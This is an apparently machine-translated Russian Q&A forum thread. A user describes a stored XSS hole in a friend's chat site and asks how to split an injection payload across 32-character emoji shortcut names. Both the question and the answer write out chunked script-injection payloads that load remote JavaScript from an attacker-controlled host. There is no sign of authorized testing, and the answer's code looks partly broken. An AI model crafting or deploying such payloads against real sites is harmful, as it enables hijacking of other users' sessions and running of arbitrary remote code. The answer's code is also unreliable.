Выполнить код JavaScript на вводе с ограниченной длиной - PullRequest
0 голосов
/ 02 апреля 2020

Я нашел XSS в чате моего друга на сайте.

У меня есть многострочный текстовый ящик, я могу загружать маленькие значки и использовать их как смайлики. Чтобы использовать эти смайлики, я должен назвать эти смайлики с помощью ярлыка, например: /haha, /rofl и другие. Эти ярлыки могут быть изменены с чем угодно, но длиной 32 символа. Ни один символ не очищается при вводе ярлыков.

это код HTML:

<div class="message"><span class="timestamp">7:09:43 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="/haha" title="/haha" data-emoji="emojiFile" border="0"></span></div>

/haha может быть даже <script>alert(1)</script>, но его длина должна быть 32 символа .

Поэтому я подумал, что могу создать полезную нагрузку для них, но я решил разделить ее для каждого смайлика.

Что я делаю, так это:

var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);

и поэтому я вставляю этот HTML код:

"><script>var x=/*
*/document.createElement/*
*/("script");x.src=/*
*/"//mywebs"+/*
*/"ite.com/a.js",/*
*/document.head.appendChild/*
*/(x);</script><!--

, поэтому каждая строка соответствует эмодзи. Это хитроумный способ обойти ограничение длины.

Это абстрактное понятие:

emoji1=<script><then begin comment block>

emoji2=<end comment block>alert("Hello World")<start comment block>

emoji3=<end comment block><script>

Это результат:

<div class="message"><span class="timestamp">07:24:26 PM - </span><span class="username"><span class="level1">fooUser</span></span><span>: </span><span><img src="https://path/to/emojiFile" alt="" border="0"><script>var x=/*" title=""><script>var x=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.createElement/*" title="*/document.createElement/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/("script");x.src=/*" title="*/("script");x.src=/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"//mywebs"+/*" title="*/"//mywebs"+/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/"ite.com/a.js",/*" title="*/"ite.com/a.js",/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/document.head.appendChild/*" title="*/document.head.appendChild/*" data-emoji="emojiFile" /><img border="0" src="https://path/to/emojiFile" alt="*/(x);</script><!--" title="*/(x);</script><!--" data-emoji="emojiFile" />--></span></div>

в основном не sanitized- HTML вход (куда я положил свою полезную нагрузку) дублируется в alt и title, и, возможно, возникает некоторая двусмысленность, когда я помещаю блоки комментариев.

Как я могу решить?

1 Ответ

1 голос
/ 02 апреля 2020

Разбейте скрипт на 32 символа, которые можно повторить дважды.

"><script>/*
*/p=document/*
*/q='http://mywebsite.com/'/*
*/r='mysubfolder/js/'/*
*/s='payloadfolder/a.js'/*
*/t=head/*
*/u=p.t/*
*/x=p.createElement('script')/*
*/x.src=p+q+s/*
*/u.appendChild(x)</script><!--
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...